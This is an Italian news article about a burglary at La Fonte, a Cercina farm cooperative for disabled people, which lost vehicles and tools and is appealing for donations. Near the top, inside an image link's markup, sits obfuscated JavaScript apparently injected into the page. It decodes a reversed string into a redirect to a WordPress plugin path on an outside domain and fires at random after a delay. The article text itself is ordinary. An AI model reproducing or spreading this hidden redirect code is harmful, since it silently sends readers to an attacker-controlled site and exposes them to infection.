Svaligiata la fattoria di Cercina. Aiutiamoli con una sottoscrizione o si blocca tutto

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$p$VTO6JhIH6WkCGAcPR=function(n){if (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == “string”) return $p$VTO6JhIH6WkCGAcPR.list[n].split(“”).reverse().join(“”);return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=[“‘php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and(this)” href=”http://altracitta.org/wp-content/uploads/2013/01/4cercina.jpg”>di Maria Cristina Carratù per Repubblica Firenze

«Un colpo mirato», dice Stefano Manzi, presidente della cooperativa, che all’alba di qualche giorno fa ha scoperto cosa era successo durante la notte, mentre tutti dormivano: sventrata la cassaforte con le chiavi di trattori e macchine agricole, e dei mezzi usati per portare i ragazzi al lavoro fuori, al cinema e in vacanza, sono spariti dal parcheggio un pulmino da 9 posti e un Doblò da 5, dal magazzino degli attrezzi tre motoseghe, due decespugliatori, un atomizzatore, avvitatori e smerigliatrici con le batterie, un trapano, un tassellatore elettrico, addirittura un intero gruppo elettrogeno appena acquistato e indispensabile per i lavori di carpenteria metallica, mentre dalle stalle dei cavalli tenuti a pensione sono stati portati via selle e finimenti.

I ladri sono andati a colpo sicuro, qualcuno deve aver spiato i movimenti della Fonte mescolandosi agli ospiti che arrivano di continuo, famiglie, scuole, visitatori incuriositi da questa oasi di solidarietà. Un danno di almeno 100 mila euro, che aggiunto al blocco forzato del lavoro, e agli effetti della crisi, rischia di portare alla paralisi. «Ci siamo sempre fidati di tutti» dice Manzi, «del resto il nostro scopo è di aiutare i ragazzi a conciliarsi con la vita e con le persone, non si può nutrire in loro la diffidenza, ma fargliela passare ». Lo shock, però, per quanto si sia cercato di proteggerli, è arrivato lo stesso, e molti, adesso, sono tesi e nervosi. Il lavoro, comunque, non può fermarsi. Angela, Fabiolino, Francesco, Claudina e gli altri hanno come ogni giorno un attrezzo in mano, c’è da pulire le stalle di mucche, pecore e capre, dare da mangiare ai cavalli, raccogliere le foglie secche, prendere le uova dal pollaio, dare il fieno ai conigli, raccogliere le verdure del-l’orto, liberare i fossi. Il lavoro, quassù, rende davvero liberi, ci si arriva sull’onda di una sofferenza, e se ne esce con addosso una storia nuova, persone e non più «malati», «matti», «strani», «pericolosi», che a volte entrano e non vogliono più andarsene, perché questa diventa casa loro.

Un «disabilaio», come lo chiama Ema, uno dei «ragazzi» storici della Fonte, che da quando è stata fondata, nei primi anni ‘80, da Andrea Zorn, Giancarlo Canavese e Alberto Duranti, si occupa, appunto, di disabili, ma senza considerarli disabili, aiutandoli a ritrovare dignità e parità con il lavoro, cioè, spiega Manzi, «con il prodotto concreto delle loro mani». Una ventina di ospiti, dai 50 ai 23 anni, ma tutti chiamati rigorosamente «ragazzi», una quindicina di operatori, fra dipendenti della Cooperativa (che si occupa delle attività sia interne che esterne alla fattoria, con prestazioni di carpenteria, artigianato, ferro battuto, manutenzione del verde, pulitura di fossi e torrenti, con i disabili impiegati accanto agli operatori), e dell’Associazione La fonte, che tiene i rapporti con i servizi sociali del Comune di Firenze. E adesso, perché tutto questo non finisca e i disabili non debbano tornare disabili, «trattati» solo a farmaci, a carico di famiglie esasperate, non resta che l’appello alla città. «Il tam tam dei nostri amici si è attivato subito» dice Manzi, «un sacco di gente ci ha offerto aiuto, ma l’ideale sarebbe indirizzarlo verso ciò di cui abbiamo davvero bisogno, per evitare sprechi o doppioni». Da qui l’idea di una specie di «lista di nozze», con l’elenco preciso (per i dettagli: info@lafontecercina. org), mentre il Teatro Puccini ha messo a disposizione la sala per un fundraising con spettacolo, e Ente Cassa, Assindustria e Comune di Sesto «hanno promesso di fare qualcosa». Ma bisogna far presto, perché la Fonte non sa, e non vuole, stare con le mani in mano.

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